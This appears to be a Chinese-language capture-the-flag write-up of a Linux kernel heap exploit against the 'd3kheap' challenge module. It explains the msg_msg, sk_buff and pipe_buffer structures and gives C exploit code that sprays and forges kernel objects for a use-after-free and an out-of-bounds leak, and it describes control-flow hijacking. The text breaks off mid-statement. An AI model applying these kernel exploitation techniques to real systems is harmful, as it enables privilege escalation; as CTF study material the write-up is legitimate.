- msgget:创建一个消息队列,返回一个int类型,类似描述符,之后相关操作都需要这个返回值
- msgsnd:向指定消息队列发送消息,内核将用户数据复制到内核
- msgrcv:从指定消息队列接接收消息,内核将内核数据复制给用户
msg_msg结构体到底长啥样?它定义于include/linux/msg.h:
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
- 如果用户消息长度加上消息头0x30小于一页,那么会在页内进行分配,next成员为NULL
- 如果用户消息长度加上消息头大于一页0x1000,那么这些消息被分为两部分,第一部分包含消息头和用户消息的上部分,直到填满一页。用户消息的第二部分存储在另一片内存中,保存剩余的信息,但不再包含消息头,取而代之的是msg_msgseg结构体,占用8字节,定义如下:
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
sk_buff是Linux内核网络协议栈用到的结构体,它可以表示网络协议栈传输的一个包,但他本身不包含数据部分,数据存储在一个单独的对象中。定义在 include/linux/skbuff.h中,由于结构体比较复杂,这里取关健的成员进行展示:
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
// ...
};
// ...
/* These elements must be at the end, see alloc_skb() for details. */
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,
*data;
unsigned int truesize;
refcount_t users;
#ifdef CONFIG_SKB_EXTENSIONS
/* only useable after checking ->active_extensions != 0 */
struct skb_ext *extensions;
#endif
};
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
pipe_buf_operations
成员通常指向一张全局函数表,因此可以用于泄露内核代码段地址。定义如下:struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
pipe_buffer的分配是通过 pipe和pipe2两个系统调用来完成的,pipe2相对于pipe多了一个flag参数,无关紧要,他们分配的大小都是1k。释放时可以直接使用close函数关闭管道即可。
pipe_buffer还可以用于控制流劫持。当我们关闭管道时,会执行pipe_buffer->pipe_buffer_operations->release这一函数,因此我们只需要劫持其函数表到可控区域后再关闭管道的两端便能劫持内核执行流。
#define SOCKET_NUM 16
size_t user_cs, user_ss, user_sp, user_rflags;
// 保存用户态寄存器,退出内核态时使用
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf(" 33[34m 33[1m[*] Status has been saved. 33[0mn");
}
long dev_fd;
int main(int argc, char **argv, char **envp)
{
cpu_set_t cpu_set;
int sk_sockets[SOCKET_NUM][2];
// 绑定单核
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// 创建16对socketpair,描述符存在sk_sockets数组中
for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");
dev_fd = open("/dev/d3kheap", O_RDONLY);
}
#define MSG_QUEUE_NUM 4096
#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400
#define MSG_TAG 0xAAAAAAAA
#define OBJ_ADD 0x1234
#define OBJ_DEL 0xdead
// 链表结构
struct list_head
{
uint64_t next;
uint64_t prev;
};
// msg_msg 信息头部结构体
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
// 主消息大小0x60
struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;
// 副消息大小0x400
struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;
// 错误处理函数
void errExit(char *msg)
{
printf(" 33[31m 33[1m[x] Error: %s 33[0mn", msg);
exit(EXIT_FAILURE);
}
// msgsnd发送消息,将用户数据发送到内核
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}
void add(void)
{
ioctl(dev_fd, OBJ_ADD);
}
void del(void)
{
ioctl(dev_fd, OBJ_DEL);
}
int main(int argc, char **argv, char **envp)
{
......
int msqid[MSG_QUEUE_NUM];
/*
* Step.1
* msgget 创建 msg 队列
* 使用模块功能添加一个0x400大小堆块
* 喷射msg_msg结构,每次都发送两条消息,一条0x60大小,另一条0x400大小
* 当循环到中途时释放掉之前添加的0x400,之后msgsnd时有极大几率分配到此chunk
*/
// 创建4096个消息队列
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}
// 初始化主消息和副消息
memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));
// 使用模块功能分配0x400堆块
add();
// 喷射0x60和0x400堆块,在中途释放掉模块申请的0x400,使后续的副消息堆块进行占用,那么这个堆块内容就是我们可控的了
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg,
sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");
*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg,
sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");
if (i == 1024)
del();
}
}
#define SK_BUFF_NUM 128
char fake_secondary_msg[704];
// 构造msg_msg结构,向参数1结构体赋值
void buildMsg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts,
uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
// msgrcv接受消息,加上MSG_COPY标志的话,读取过的内核数据区不会被unlink
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT);
}
// 释放sk_buff结构,向socketpair读来达到释放的目的
int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}
// 喷射sk_buff结构,他附带一个skb_shared_info结构体。向socketpair写来达到分配的目的,喷射大小为0x400,每个socketpair喷射128次
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
// printf("[-] now %d, num %dn", i, j);
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}
int main(int argc, char **argv, char **envp)
{
......
int victim_qid;
del();
// 喷射sk_buff,使用sk_buff占用这个被释放的0x400堆块,并写入一个构造好的msg_msg结构
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"unr4v31.", *(uint64_t*)"unr4v31.",
*(uint64_t*)"unr4v31.", SECONDARY_MSG_SIZE, 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// 使用msgrcv来读取所有的msg队列中的内容,并添加MSG_COPY标识位,避免unlink时错误的链表指针导致内核崩溃
victim_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
// 由于我们修改过msg_msg结构体,所以它无法被读取出来,利用这一点可以判断出我们命中队列的下标
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
{
printf("[+] victim qid: %dn", i);
victim_qid = i;
}
}
if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");
// 然后释放掉sk_buff
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
}
#define VICTIM_MSG_TYPE 0x1337
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"unr4v31.", *(uint64_t*)"unr4v31.",
VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
struct msg_msg *nearby_msg;
struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;
// oob_msg读取的数据会保存到oob_msg
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");
nearby_msg = (struct msg_msg*)
&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];
printf(" 33[32m 33[1m[+] addr of primary msg of msg nearby victim:
评论